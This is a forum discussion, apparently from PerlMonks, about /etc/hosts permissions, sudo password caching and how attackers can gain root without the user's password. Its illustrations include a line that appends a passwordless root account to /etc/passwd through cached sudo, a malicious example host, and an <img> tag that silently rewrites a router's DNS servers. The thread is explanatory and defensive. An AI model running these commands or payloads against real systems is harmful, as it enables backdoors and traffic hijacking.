If someone has hacked my machine with my user account, it seems like they are in a very good position of changing my /etc/hosts file without my script to help them. Right?

No. This is why we have different user accounts. Your user does not have write access to /etc/hosts and therefore anyone who compromises your account also lack the write access to that file. If you bypass that by some means in your script (sudo, setuid, whatever) then the attacker suddenly does have access to write to the previously protected file via your script.

So don't do that.

Well, I do have write access to /etc/hosts in that I can just run sudo vim /etc/hosts and change it that way. Now, if a hacker types in that command, sudo will prompt them for my password. I'd assume the hacker already has the password if he hacked in. But maybe I'm wrong in assuming that the hacker would have my password? Is it theoretically possible for a hacker to gain control of my user account without my password?

$PM = "Perl Monk's";
$MCF = "Most Clueless Friar Abbot Bishop Pontiff Deacon Curate";
$nysus = $PM . ' ' . $MCF;
Click here if you love Perl Monks

I'd assume the hacker already has the password if he hacked in.

No.

Is it theoretically possible for a hacker to gain control of my user account without my password?

Yes. It's also practical. Surf the web, using a lazily written plugin or an old browser. A hijacked ad server exploits your browser or the plugin and can suddenly execute arbitary code with your privileges.

Regarding sudo: sudo allows to run several commands from the same terminal within a short time, and prompts for the password only once:

/tmp>sudo echo hi
Password:
hi

/tmp>sudo echo look mom no password
look mom no password

/tmp>
[download]

Yes, you can change that setting, it's hidden somewhere in the documentation.

And you can get rid of the saved permission (it's just a timestamp):

/tmp>sudo -k

/tmp>sudo echo timestamp invalidated
Password:
timestamp invalidated

/tmp>sudo -K

/tmp>sudo echo timestamp removed
Password:
timestamp removed

/tmp>
[download]

Now, imagine this scenario:

/tmp>sudo vim /etc/hosts
# ....
:wq
/tmp>ancient-browser http://malicious.example.com/exploit-me/ &
[1] 25125

/tmp>
# exploited ancient-browser now effectively runs sudo sh -c 'echo "too
+r::0:0:let me in:/:/bin/sh" >> /etc/passwd'
[download]

sudo won't ask for a password here, and the attacker does not have to know your password.

Using perl -e instead of an imaginary ancient-browser to demo:

/tmp>sudo -k

/tmp>sudo echo ask me for password
Password:
ask me for password

/tmp>perl -E 'system "sudo echo look no password";'
look no password

/tmp>
[download]

And yes, that's only one possible scenario of many similar ones.

Imagine you install a few new modules from CPAN. You compile as user, not as root. But you have configured the cpan utility to run sudo make install to actually install the modules. Now think what happens after the first module has been installed via sudo, and Makefile.pl of the next module contains malicious code invoked via sudo. Right, it will be executed as root without prompting for your password.

Another way:

Many cheap DSL routers have bugs. And they have a web interface. Some don't even have a working logout. Most people run those cheap boxes with factory defaults, which often means the web interface is at http://192.168.1.1/. Now imagine a web page containing <img src="http://192.168.1.1/cgi-bin/setdns.cgi?dns1=1.2.3.4&dns2=1.2.3.5&dns3=1.2.3.6">. Would you see a 1x1 pixel broken image in a web page? No. But your browser will happily replace the DNS servers in the junk DSL router. That attack works surprisingly often, and after that, the attacker can redirect your browser everywhere, by sending wrong DNS responses.

Knowing where your /etc/hosts updating CGI is located, this attack could probably also work there. A trivial counter-measure is to require POST requests for actual changes, that can't be done with a simple <img src="...">. But there are workarounds for that, too.

Alexander

--
Today I will gladly share my knowledge and experience, for there are no sweeter words than "I told you so". ;-)

Would you care to find out the hard and painful way?